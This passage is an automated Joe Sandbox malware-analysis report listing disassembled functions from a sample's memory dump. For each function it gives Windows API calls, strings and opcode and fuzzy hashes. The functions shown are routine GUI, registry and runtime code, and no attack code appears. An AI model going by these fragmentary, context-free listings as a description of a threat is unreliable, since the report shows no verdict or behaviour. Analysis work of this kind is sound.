Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 2a9ea0af230894dafe7aca71c907a380edb5881a4ad805597eae21c6d7de0928
Instruction ID: 7e80d84c8a15617261615d75e6f45e7d94a7917b06cf77417b536913dba7b2a1
Opcode Fuzzy Hash: 2a9ea0af230894dafe7aca71c907a380edb5881a4ad805597eae21c6d7de0928
Instruction Fuzzy Hash: 29613F78B2028C9BDB00FBA4E880BDEB7B9DF88381F549835E5449F746CA74D9C59760

Uniqueness

Uniqueness Score: -1.00%

Function 032EE5A4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(?,?,?), ref: 032EE668
UnregisterClassA.USER32(?,?), ref: 032EE690
RegisterClassA.USER32(?), ref: 032EE6A6
GetWindowLongA.USER32(00000000,000000F0), ref: 032EE6E2
GetWindowLongA.USER32(00000000,000000F4), ref: 032EE6F7
SetWindowLongA.USER32(00000000,000000F4,00000000), ref: 032EE70A

Strings

@, xrefs: 032EE5DD

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ClassLongWindow$InfoRegisterUnregister
String ID: @
API String ID: 717780171-2766056989
Opcode ID: e6ac7c9d6ca54694cb59e217e1f1e9d6298de7083702e59fdd0f9014c2c01970
Instruction ID: 6c3463a4ae5f3e86df0924f99f21bd6293e96240a21041b35b2a963e13424f87
Opcode Fuzzy Hash: e6ac7c9d6ca54694cb59e217e1f1e9d6298de7083702e59fdd0f9014c2c01970
Instruction Fuzzy Hash: 29519E35A207188FDB20EF68CC85BDEB7F9AF44304F5449A9E959DB281DB70A984CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032DAFE8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68stringCOMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,?), ref: 032DB019
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 032DB040
GetSystemMetrics.USER32(00000000), ref: 032DB055
GetSystemMetrics.USER32(00000001), ref: 032DB060
lstrcpyA.KERNEL32(?,DISPLAY), ref: 032DB08A

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

GetMonitorInfo, xrefs: 032DB000
DISPLAY, xrefs: 032DB081

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: System$InfoMetrics$AddressMonitorParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfo
API String ID: 1539801207-1633989206
Opcode ID: 11ad206c6aa411338fce254ba6233aba7974599288417c2d0806896b6e80b8d4
Instruction ID: 2603998756934e3d401bc1dea28abf3c8048acd7fe14d83a3bcbbc3086df0f67
Opcode Fuzzy Hash: 11ad206c6aa411338fce254ba6233aba7974599288417c2d0806896b6e80b8d4
Instruction Fuzzy Hash: F7110A71A283015FE720DF65A884BA7B7ECEF09712F054519ED5687240D7B0A4C4CB90

Uniqueness

Uniqueness Score: -1.00%

Function 032B4608 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,032B46CF,?,?,0332F7C8,?,?,0331A7AC,032B68FD,03319751), ref: 032B4641
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,032B46CF,?,?,0332F7C8,?,?,0331A7AC,032B68FD,03319751), ref: 032B4647
GetStdHandle.KERNEL32(000000F5,032B4690,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,032B46CF,?,?,0332F7C8), ref: 032B465C
WriteFile.KERNEL32(00000000,000000F5,032B4690,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,032B46CF,?,?), ref: 032B4662
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 032B4680

Strings

Error, xrefs: 032B4674
Runtime error at 00000000, xrefs: 032B463A, 032B4679

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: b544485bb686a5cd032435b6eba7de8d1f23443c94782e26b94d6cc3bf6813d7
Instruction ID: 6f254c0ef3c19ef1871c01b8831573b9185bf9c7c87d1d351c527896f0f9208e
Opcode Fuzzy Hash: b544485bb686a5cd032435b6eba7de8d1f23443c94782e26b94d6cc3bf6813d7
Instruction Fuzzy Hash: CBF0246566139438EA20F2906CDAFED277C4744F65F188308F2B0980CBC7E4A0D08B21

Uniqueness

Uniqueness Score: -1.00%

Function 03305EE8 Relevance: 12.2, APIs: 8, Instructions: 170windowCOMMON

Download Yara Rule

APIs

ImageList_DrawEx.COMCTL32(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000,?), ref: 03305F47
ImageList_DrawEx.COMCTL32(00000000,?,00000000,00000000,00000000,00000000,00000000,000000FF,00000000,00000000), ref: 03305FE8
SetTextColor.GDI32(00000000,00FFFFFF), ref: 03306035
SetBkColor.GDI32(00000000,00000000), ref: 0330603D
BitBlt.GDI32(00000000,?,?,?,?,00000000,00000000,00000000,00E20746), ref: 03306062

Part of subcall function 03305EC0: ImageList_GetBkColor.COMCTL32(00000000,?,03305F21,00000000,?), ref: 03305ED6

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ColorImageList_$Draw$Text
String ID:
API String ID: 2027629008-0
Opcode ID: 8d3d0f399e559347689e618904e1cfe43bc33eecb9cf0b78bde457679a64346f
Instruction ID: 60d95b09d73e0a66741fa0a8ae433b5b9769f1570de2d7f8f78e8a3f57d55ab4
Opcode Fuzzy Hash: 8d3d0f399e559347689e618904e1cfe43bc33eecb9cf0b78bde457679a64346f
Instruction Fuzzy Hash: 90510379710205AFDB50FF68CDC1FAE37A9AF09700F144164FA14EF285CAB4E8818BA5

Uniqueness

Uniqueness Score: -1.00%

Function 033006BC Relevance: 12.2, APIs: 8, Instructions: 154windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 0330072D
GetCapture.USER32 ref: 0330073C
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 03300742
ReleaseCapture.USER32 ref: 03300747
GetActiveWindow.USER32 ref: 03300798
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 0330082E
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 0330089B
GetActiveWindow.USER32 ref: 033008AA

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 847b606e5ac757aea309139db8345f51ef8f2b04c346757d000acac816d17507
Instruction ID: 068e3a5ad06d026a35f4521d16b52ac2d1ee95c2a9e518f17972c14b6b42bc34
Opcode Fuzzy Hash: 847b606e5ac757aea309139db8345f51ef8f2b04c346757d000acac816d17507
Instruction Fuzzy Hash: 27513638A10344EFEB19EFA9C9D5B9DB7F9EF45700F5540A4E544AB2A1C774AE80CB40

Uniqueness

Uniqueness Score: -1.00%

Function 032EFD74 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

SaveDC.GDI32(?), ref: 032EFD91

Part of subcall function 032E8B8C: GetWindowOrgEx.GDI32(00000000), ref: 032E8B9A
Part of subcall function 032E8B8C: SetWindowOrgEx.GDI32(00000000,00000000,00000000,00000000), ref: 032E8BB0

IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 032EFDCA
GetWindowLongA.USER32(00000000,000000EC), ref: 032EFDDE
GetWindowLongA.USER32(00000000,000000F0), ref: 032EFDFF
SetRect.USER32(?,00000000,00000000,?,?), ref: 032EFE2F
DrawEdge.USER32(?,?,00000000,00000000), ref: 032EFE3E
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 032EFE67
RestoreDC.GDI32(?,?), ref: 032EFEE6

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Rect$ClipIntersectLong$DrawEdgeRestoreSave
String ID:
API String ID: 2976466617-0
Opcode ID: 8614fe5fa27626fdb040acc37287d2d850e1e9f62c4730fbe640060574c6f1ee
Instruction ID: 30efbe3339ff04c96dd47fcde054e2025cbfefa436f7a881cd2d48565dd58e5d
Opcode Fuzzy Hash: 8614fe5fa27626fdb040acc37287d2d850e1e9f62c4730fbe640060574c6f1ee
Instruction Fuzzy Hash: 4F410D75A10309AFDB10DB98C981F9EB7B8EF48300F5541A4F614EB392C775AE80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03303BD4 Relevance: 12.1, APIs: 8, Instructions: 99windowthreadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 03303BFA
IsWindowUnicode.USER32(00000000), ref: 03303C3D
SendMessageW.USER32(00000000,-0000BBEE,02BE67A0,?), ref: 03303C58
SendMessageA.USER32(00000000,-0000BBEE,02BE67A0,?), ref: 03303C77
GetWindowThreadProcessId.USER32(00000000), ref: 03303C86
GetWindowThreadProcessId.USER32(?,?), ref: 03303C94
SendMessageA.USER32(00000000,-0000BBEE,02BE67A0,?), ref: 03303CB4

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MessageSendWindow$ProcessThread$CaptureUnicode
String ID:
API String ID: 1994056952-0
Opcode ID: 06393541d494b79cb18f411f6f046d5007551d2a5c70ead2d650a19ad48b6f7d
Instruction ID: a163593275cb1e168003ca66783ac122d2758d96dcbbbe2cfb273842a79f2bad
Opcode Fuzzy Hash: 06393541d494b79cb18f411f6f046d5007551d2a5c70ead2d650a19ad48b6f7d
Instruction Fuzzy Hash: B7214B79314309AFD660FA5DCDD0F67B3EC9F45660F184828F959CB782DA60F8448764

Uniqueness

Uniqueness Score: -1.00%

Function 032D3A60 Relevance: 12.1, APIs: 8, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032D3A8E
GetDeviceCaps.GDI32(?,00000068), ref: 032D3AAA
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 032D3AC9
GetSystemPaletteEntries.GDI32(?,-00000008,00000001,00C0C0C0), ref: 032D3AED
GetSystemPaletteEntries.GDI32(?,00000000,00000007,?), ref: 032D3B0B
GetSystemPaletteEntries.GDI32(?,00000007,00000001,?), ref: 032D3B1F
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 032D3B3F
ReleaseDC.USER32(00000000,?), ref: 032D3B57

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: EntriesPaletteSystem$CapsDeviceRelease
String ID:
API String ID: 1781840570-0
Opcode ID: 662bf5cc08e42f5a7a935c941411e9de4d57edae530f76f8cdaf9d0b877c9924
Instruction ID: dbcf3d38cd6b01de896368fb1a2e9c7fdb9ae2cc0034b931a6c3917b7c85835e
Opcode Fuzzy Hash: 662bf5cc08e42f5a7a935c941411e9de4d57edae530f76f8cdaf9d0b877c9924
Instruction Fuzzy Hash: 322124B5A50309AEDB10DBA4CD85FAEB3BCEB48744F500591B704EB180D6B59E84CB25

Uniqueness

Uniqueness Score: -1.00%

Function 032DF9B4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 177windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,032DFC05), ref: 032DFA50
InsertMenuItemA.USER32(?,000000FF,000000FF,0000002C), ref: 032DFB59

Part of subcall function 032DFEB8: CreatePopupMenu.USER32 ref: 032DFED3

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 032DFBE2

Part of subcall function 032DFEB8: CreateMenu.USER32 ref: 032DFEDD

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 032DFBC9

Strings

,, xrefs: 032DFA64
?, xrefs: 032DFA6B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: 383b2d1e24b8f05dcf1a1adae940abcb4eea94474ea74e5141fa252d462faba4
Instruction ID: f9afa8d7713240f50607c08982ba88ef5ee46897357414a734e63bf5643ec373
Opcode Fuzzy Hash: 383b2d1e24b8f05dcf1a1adae940abcb4eea94474ea74e5141fa252d462faba4
Instruction Fuzzy Hash: 94611334A34345AFCB10EF68D9C0AAEB7F8AF05740F4844A5E851EB39AD374D994CB54

Uniqueness

Uniqueness Score: -1.00%

Function 032F3720 Relevance: 10.7, APIs: 7, Instructions: 162COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,000000FF,?,?,?,?,00000010,00000000,032F3904), ref: 032F3805
GetTickCount.KERNEL32 ref: 032F380A
SystemParametersInfoA.USER32(00001016,00000000,?,00000000), ref: 032F384E
SystemParametersInfoA.USER32(00001018,00000000,00000000,00000000), ref: 032F3866
AnimateWindow.USER32(00000000,00000064,?), ref: 032F38AB
ShowWindow.USER32(00000000,00000004,00000000,000000FF,?,?,?,?,00000010,00000000,032F3904), ref: 032F38CE

Part of subcall function 032F6EE0: GetCursorPos.USER32(?), ref: 032F6EE4

GetTickCount.KERNEL32 ref: 032F38EB

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$CountInfoParametersSystemTick$AnimateCursorShow
String ID:
API String ID: 3024527889-0
Opcode ID: 25e456679c54c50a11a558d8dbbb727ae0636c43fd59c86ed2b2764693531da0
Instruction ID: 1be2856467363404f9066e28fb362e6ddbcae412da014c6c37aabbf2c9223581
Opcode Fuzzy Hash: 25e456679c54c50a11a558d8dbbb727ae0636c43fd59c86ed2b2764693531da0
Instruction Fuzzy Hash: A5512A7CA10205EFDB10EFA8C985AAEF7F5BF44700F6445A0E640EB254D775AE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03304114 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138windowCOMMON

Download Yara Rule

APIs

Part of subcall function 033054C0: GetActiveWindow.USER32 ref: 033054E7
Part of subcall function 033054C0: GetLastActivePopup.USER32(?), ref: 033054F9

GetWindowRect.USER32(?,?), ref: 03304196
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,?), ref: 033041CE
MessageBoxA.USER32(00000000,?,?,?), ref: 0330420D
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,03304283), ref: 0330425D
SetActiveWindow.USER32(00000000,03304283), ref: 0330426E

Strings

(, xrefs: 03304173

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Active$LastMessagePopupRect
String ID: (
API String ID: 3456420849-3887548279
Opcode ID: 03f484e9aa3b5d07af5212cab164a26e5d868e16f614dbf16b536f67709f11e9
Instruction ID: 4cdcd9724b8c19c57d80f3e48266337f68f6c75b7d0deda01d5b96108708d2d4
Opcode Fuzzy Hash: 03f484e9aa3b5d07af5212cab164a26e5d868e16f614dbf16b536f67709f11e9
Instruction Fuzzy Hash: EB51D775E10208AFDB04DBA9CD95FAEB7F9EB88300F144569EA00EB795D774AE408B50

Uniqueness

Uniqueness Score: -1.00%

Function 033019F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 125registryCOMMON

Download Yara Rule

APIs

GetKeyboardLayoutList.USER32(00000040,?,00000000,03301B9B,?,02BED9D0,?,03301BFD,00000000,?,032ED247), ref: 03301A46
RegOpenKeyExA.ADVAPI32(80000002,00000000), ref: 03301AAE
RegQueryValueExA.ADVAPI32(?,layout text,00000000,00000000,?,00000100,00000000,03301B57,?,80000002,00000000), ref: 03301AE8
RegCloseKey.ADVAPI32(?,03301B5E,00000000,?,00000100,00000000,03301B57,?,80000002,00000000), ref: 03301B51

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 03301A98
layout text, xrefs: 03301ADF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CloseKeyboardLayoutListOpenQueryValue
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 1703357764-2652665750
Opcode ID: 6d28035a6cb7c3d7615f7a00c84a2865c40437a885d2b6348e3a29c91e5936ee
Instruction ID: 6e8c05a9c4fad011f60cd97b50649725818cce9edb8bf237f4a8b6f9f2cfc426
Opcode Fuzzy Hash: 6d28035a6cb7c3d7615f7a00c84a2865c40437a885d2b6348e3a29c91e5936ee
Instruction Fuzzy Hash: 0D412878A102099FDB11DF54CD90BEEB7F8EB48340F6140E1E904EB291E770AE80DB61

Uniqueness

Uniqueness Score: -1.00%

Function 03303E04 Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 03303E18
IsWindowUnicode.USER32 ref: 03303E2C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 03303E4D
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 03303E63
TranslateMessage.USER32 ref: 03303EEC
DispatchMessageW.USER32 ref: 03303EF8
DispatchMessageA.USER32 ref: 03303F00

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Message$Peek$Dispatch$TranslateUnicodeWindow
String ID:
API String ID: 2190272339-0
Opcode ID: 69df914ab13fc3989738538f086a5c5871c9f274171a0ad747391b1dbe1a3eae
Instruction ID: 7f56cd4c35f35f31ef352c189bc99a384cff3c18733228b788a998edf0c42295
Opcode Fuzzy Hash: 69df914ab13fc3989738538f086a5c5871c9f274171a0ad747391b1dbe1a3eae
Instruction Fuzzy Hash: 0921373D70474026EA31EA2D0CD0BFFAAAD4FE2B64F1C4959F9819B1D1C7E5D4828226

Uniqueness

Uniqueness Score: -1.00%

Function 032FD108 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 032FD179
GetWindowLongA.USER32(00000000,000000EC), ref: 032FD18B
GetClassLongA.USER32(00000000,000000E6), ref: 032FD19E
SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 032FD1DE
SetWindowLongA.USER32(00000000,000000EC,?), ref: 032FD1F2
SetClassLongA.USER32(00000000,000000E6,?), ref: 032FD206
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000233,00000000,000000E6,?,00000000,000000EC,?,00000000,000000F0,00000000), ref: 032FD222

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Long$Window$Class
String ID:
API String ID: 2026531576-0
Opcode ID: 257c646007cb723966b6e68d532da0d9b2a613c5f156d095a1d25c2af60f9534
Instruction ID: 644d28a6f85ee05c08711810c1d5d59accb13e9581a2af601b854f9fa72e3430
Opcode Fuzzy Hash: 257c646007cb723966b6e68d532da0d9b2a613c5f156d095a1d25c2af60f9534
Instruction Fuzzy Hash: 6221C029228342AFCA11F63C8C44AAFFB995FC1250F084B24F6959F2D2CBB4D8D5C751

Uniqueness

Uniqueness Score: -1.00%

Function 03301D3C Relevance: 10.6, APIs: 7, Instructions: 89COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(0000001F,0000003C,?,00000000), ref: 03301D91
CreateFontIndirectA.GDI32(?), ref: 03301D9E
GetStockObject.GDI32(0000000D), ref: 03301DB4

Part of subcall function 032D2530: MulDiv.KERNEL32(00000000,?,00000048), ref: 032D253D

SystemParametersInfoA.USER32(00000029,00000000,00000154,00000000), ref: 03301DDD
CreateFontIndirectA.GDI32(?), ref: 03301DED
CreateFontIndirectA.GDI32(?), ref: 03301E06
GetStockObject.GDI32(0000000D), ref: 03301E2C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateFontIndirect$InfoObjectParametersStockSystem
String ID:
API String ID: 2891467149-0
Opcode ID: 336675e588be148fb00e905712093704cd020c8a344d13d4f9d751309ee79695
Instruction ID: 5506f4bb9f42a20dbd93fe2b15ebb6bd57ce66a95e1870b9d2ae1b81518d062a
Opcode Fuzzy Hash: 336675e588be148fb00e905712093704cd020c8a344d13d4f9d751309ee79695
Instruction Fuzzy Hash: D0319238A143459BE754FB68CD95BA973E8AB44300F0484B1A948CF2A5DBB0D985CB61

Uniqueness

Uniqueness Score: -1.00%

Function 03306C88 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 032BC91C: GetFileVersionInfoSizeA.VERSION(00000000,?,00000000,032BC9F2), ref: 032BC95E
Part of subcall function 032BC91C: GetFileVersionInfoA.VERSION(00000000,?,00000000,?,00000000,032BC9D5,?,00000000,?,00000000,032BC9F2), ref: 032BC993
Part of subcall function 032BC91C: VerQueryValueA.VERSION(?,032BCA04,?,?,00000000,?,00000000,?,00000000,032BC9D5,?,00000000,?,00000000,032BC9F2), ref: 032BC9AD

GetModuleHandleA.KERNEL32(comctl32.dll), ref: 03306CBC
GetProcAddress.KERNEL32(00000000,ImageList_WriteEx), ref: 03306CCD
ImageList_Write.COMCTL32(00000000,?,00000000,03306D82), ref: 03306D4C

Strings

ImageList_WriteEx, xrefs: 03306CC7
comctl32.dll, xrefs: 03306CB7
comctl32.dll, xrefs: 03306C9C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

